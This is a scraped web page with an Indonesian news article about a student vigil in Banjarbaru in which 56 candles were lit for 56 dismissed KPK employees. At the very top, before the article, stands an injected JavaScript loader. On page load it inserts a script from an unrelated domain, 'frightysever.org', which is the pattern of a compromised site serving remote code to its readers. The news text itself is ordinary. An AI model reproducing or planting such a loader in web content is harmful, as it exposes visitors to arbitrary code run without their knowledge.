(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Aksi Nyalakan Lilin di Lapangan Murjani, BEM se-Kalsel Ikut Belasungkawa pada 56 Pegawai KPK

KANALKALIMANTAN.COM, BANJARBARU – Aksi Kamisan yang dilakukan BEM se-Kalsel berlanjut dengan aksi menyalakan lilin serentak di Lapangan Murjani, depan Kantor Pemerintah Kota (Pemko) Banjarbaru. Sebanyak 56 batang dinyalakan melambang 56 orang pegawai KPK yang dipecat.

Koordinator aksi, Rizki mengungkap bahwa aksi ini merupakan rasa bela sungkawa dari pemecatan 56 pegawai KPK, yang kemudian diberi tawaran menjadi ASN dari Kepolisian RI, Kamis (30/9/2021) malam.

“Aksi menyalakan 56 lilin pada malam hari ini merupakan bentuk duka cita kami Aliansi BEM se Kalsel mengenai pemecatan pegawai KPK sebanyak 56 orang yang berkompeten dan kredibel,” ucap Rizki.

Rizki juga mengajak rekan-rekannya dari BEM se Kalsel mengheningkan cipta dan tabur bunga yang diiring nyanyian lagu Darah Juang.

Sementara itu BEM ULM yang diwakilkan, Ony, selaku Wakil Ketua BEM ULM, mengatakan aksi bukan akhir dari perjuangan mereka. Melainkan awal dari langkah-langkah yang akan diambil dalam mempertahankan hak rakyat.

“Saya harap kepada BEM se Kalsel selalu menjaga solidaritas kita, tunjukkan kita bisa mempertahankan hak-hak rakyat Indonesia,” tegasnya.

Dalam kegiatan ini juga mereka tetap mematuhi protokol kesehatan yang ketat dan terlihat beberapa personil kepolisian berjaga di sekitar lokasi aksi.

Perlu diketahui sore tadi sekitar pukul 15.30 Wita, Aliansi BEM se Kalsel melakukan aksi Kamisan yang digelar di bundaran simpang 4 Banjarbaru untuk mengenang kilas balik pelanggaran HAM 30 September 1965 silam.

Kemudian malamnya dilanjutkan dengan aksi nyalakan lilin dan tabur bunga untuk 56 pegawai KPK yang dipecat.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell